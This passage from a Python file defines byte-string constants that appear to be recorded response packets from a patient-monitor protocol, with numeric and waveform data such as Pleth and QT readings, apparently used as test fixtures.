b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_6_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x80\x4f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_6_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\x1a\x00\x01\x00\x00\x0e\x80\x4f\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00"
rsp_wave_6_no_1 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x04\x46\x00\x04\x00\x07\x04\x40\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x04\x36\x00\x03\x00\x00\x0e\x80\x20\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x04\x1c\x00\x00\x00\x04" \
b"\x04\x16\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf4\x1f\xf3\x1f\xf3\x1f\xf2\x1f\xf1\x1f\xf0\x1f\xf0\x1f\xef" \
b"\x1f\xed\x1f\xed\x1f\xec\x1f\xeb\x1f\xea\x1f\xe9\x1f\xe8\x1f\xe7" \
b"\x1f\xe6\x1f\xe5\x1f\xe4\x1f\xe3\x1f\xe2\x1f\xe1\x1f\xe0\x1f\xdf" \
b"\x1f\xde\x1f\xdd\x1f\xdc\x1f\xdb\x1f\xda\x1f\xd9\x1f\xd8\x1f\xd8" \
b"\x1f\xd7\x1f\xd6\x1f\xd5\x1f\xd4\x1f\xd3\x1f\xd2\x1f\xd1\x1f\xd0" \
b"\x1f\xd0\x1f\xd0\x1f\xd1\x1f\xd3\x1f\xd4\x1f\xd5\x1f\xd7\x1f\xd8" \
b"\x1f\xd9\x1f\xdb\x1f\xdc\x1f\xde\x1f\xdf\x1f\xe0\x1f\xe1\x1f\xe3" \
b"\x1f\xe4\x1f\xe5\x1f\xe7\x1f\xe8\x1f\xe9\x1f\xeb\x1f\xec\x1f\xed" \
b"\x1f\xee\x1f\xf0\x1f\xf1\x1f\xf2\x1f\xf3\x1f\xf4\x1f\xf5\x1f\xf7" \
b"\x1f\xf8\x1f\xfa\x1f\xfb\x1f\xfc\x1f\xfc\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x20\x00\x20\x00\x20\x00\x20\x00\x1f\xff\x1f\xff\x1f\xff" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xfe\x1f\xfd\x1f\xfc\x1f\xfa\x1f\xf9" \
b"\x1f\xf9\x1f\xf9\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7" \
b"\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf5" \
b"\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf2" \
b"\x1f\xf3\x1f\xf2\x1f\xf3\x1f\xf2\x1f\xf3\x1f\xf2\x1f\xf3\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf5\x1f\xf5\x1f\xf6\x1f\xf5\x1f\xf5\x1f\xf6" \
b"\x1f\xf7\x1f\xf7\x1f\xf8\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf9\x1f\xf9" \
b"\x1f\xf8\x1f\xf9\x1f\xf9\x1f\xfa\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfb" \
b"\x1f\xfc\x1f\xfc\x1f\xfd\x1f\xfc\x1f\xfd\x1f\xfe\x1f\xfd\x1f\xfd" \
b"\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfc\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf1\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xed\x1f\xed\x1f\xeb\x1f\xeb\x1f\xe9\x1f\xe9" \
b"\x1f\xe9\x1f\xe7\x1f\xe7\x1f\xe5\x1f\xe5\x1f\xe3\x1f\xe3\x1f\xe5" \
b"\x1f\xe3\x1f\xe3\x1f\xe1\x1f\xe1\x1f\xdf\x1f\xdf\x1f\xdd\x1f\xdb" \
b"\x1f\xdb\x1f\xdb\x1f\xdb\x1f\xdd\x1f\xdd\x1f\xdf\x1f\xe1\x1f\xe1" \
b"\x1f\xe1\x1f\xe3\x1f\xe3\x1f\xe5\x1f\xe7\x1f\xe7\x1f\xe7\x1f\xe9" \
b"\x1f\xeb\x1f\xeb\x1f\xed\x1f\xed\x1f\xed\x1f\xef\x1f\xef\x1f\xf1" \
b"\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf7\x1f\xf9" \
b"\x1f\xf9\x1f\xfb\x1f\xfd\x1f\xff\x1f\xfd\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x07\x8e\x00\x0d\x00\xe0\x09\x21\x00\x02\x07\x8e\x09\x2f" \
b"\x00\x04\x00\x01\x00\x09\x09\x3f\x00\x0c\x00\x00\x08\x00\x00\x01" \
b"\x42\x80\x00\x00\x00\x00\x09\x6d\x00\x06\x00\x20\x10\x0c\x80\x00" \
b"\x09\x8d\x00\x04\x00\x00\x00\x40\x09\x24\x00\x04\x00\x02\x4b\xb4" \
b"\x09\x27\x00\x10\x00\x0e\x00\x50\x00\x6c\x00\x65\x00\x74\x00\x68" \
b"\x00\x20\x00\x00\x09\x96\x00\x02\x02\x00\x09\x11\x00\x02\x00\x06" \
b"\x09\x40\x00\x02\x00\x00\x09\x6f\x00\x0c\x00\x7f\xff\xff\x00\x7f" \
b"\xff\xff\x00\x00\x0f\xff\x09\x1a\x00\x24\x00\x04\x00\x20\x00\x7f" \
b"\xff\xff\x04\x00\x00\x00\x00\x7f\xff\xff\x06\x00\x00\x01\x00\x7f" \
b"\xff\xff\x0a\x00\x00\x01\x00\x7f\xff\xff\x0c\x00\x00\x00\x09\x6e" \
b"\x00\x46\x4b\xb4\x04\x00\x00\x40\x06\x1f\x06\x1d\x06\x1a\x06\x15" \
b"\x06\x0e\x06\x05\x05\xfb\x05\xef\x05\xe0\x05\xd0\x05\xbe\x05\xab" \
b"\x05\x95\x05\x7f\x05\x66\x05\x4d\x05\x33\x05\x18\x04\xfc\x04\xe1" \
b"\x04\xc6\x04\xab\x04\x91\x04\x78\x04\x60\x04\x4b\x04\x37\x04\x26" \
b"\x04\x18\x04\x0d\x04\x05\x04\x01"
rsp_wave_6_no_2 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x01\x0e\x80\x28\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x04\x00\x04\x04\x04\x0b\x04\x18\x04\x28\x04\x3e\x04\x57" \
b"\x04\x76\x04\x99\x04\xc0\x04\xec\x05\x1d\x05\x51\x05\x89\x05\xc5" \
b"\x06\x05\x06\x47\x06\x8c\x06\xd3\x07\x1c\x07\x67\x07\xb3\x07\xff" \
b"\x08\x4c\x08\xbe\x09\x09\x09\x53\x09\xbf\x0a\x03\x0a\x44\x0a\x83" \
b"\x0a\xd8"
rsp_wave_6_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x02\x0e\x80\x30\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\xa1\x94\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x20\x04\x20\x0c" \
b"\x20\x14\x20\x1c\x20\x26\x20\x2f\x20\x38\x20\x42\x20\x4b\x20\x55" \
b"\x20\x5e\x20\x68\x20\x71\x20\x7a\x20\x83\x20\x8d\x20\x96\x20\x9f" \
b"\x20\xa8\x20\xad\x20\xab\x20\xa6\x20\x9e\x20\x95\x20\x8c\x20\x82" \
b"\x20\x78\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\xa0\x84\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfe\x20\x00" \
b"\x20\x02\x20\x06\x20\x08\x20\x0b\x20\x0e\x20\x10\x20\x13\x20\x17" \
b"\x20\x18\x20\x1a\x20\x1d\x20\x20\x20\x23\x20\x25\x20\x28\x20\x2b" \
b"\x20\x2e\x20\x31\x20\x33\x20\x30\x20\x30\x20\x2d\x20\x2a\x20\x28" \
b"\x20\x26\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\xa1\x04\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x20\x01\x20\x05\x20\x0b" \
b"\x20\x11\x20\x15\x20\x1d\x20\x23\x20\x29\x20\x31\x20\x37\x20\x3d" \
b"\x20\x45\x20\x4d\x20\x53\x20\x59\x20\x5f\x20\x67\x20\x6d\x20\x73" \
b"\x20\x79\x20\x7b\x20\x77\x20\x75\x20\x6d\x20\x67\x20\x61\x20\x59" \
b"\x20\x51\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x0b\x0c\x0b\x3c\x0b\x8d\x0b\xae\x0b\xc9\x0b\xef\x0b\xfa" \
b"\x0b\xff\x0b\xfc\x0b\xf3\x0b\xe5\x0b\xd2\x0b\xba\x0b\x9d\x0b\x7b" \
b"\x0b\x56\x0b\x2c\x0b\x00\x0a\xd0\x0a\x9d\x0a\x68\x0a\x31\x09\xf9" \
b"\x09\xbf\x09\x85\x09\x4b\x09\x10\x08\xd7\x08\x9e\x08\x66\x08\x30" \
b"\x07\xfb"
rsp_wave_6_no_4 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x03\x0e\x80\x38\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x20\x6e\x20\x63\x20\x59\x20\x4f\x20\x45\x20\x3a\x20\x30" \
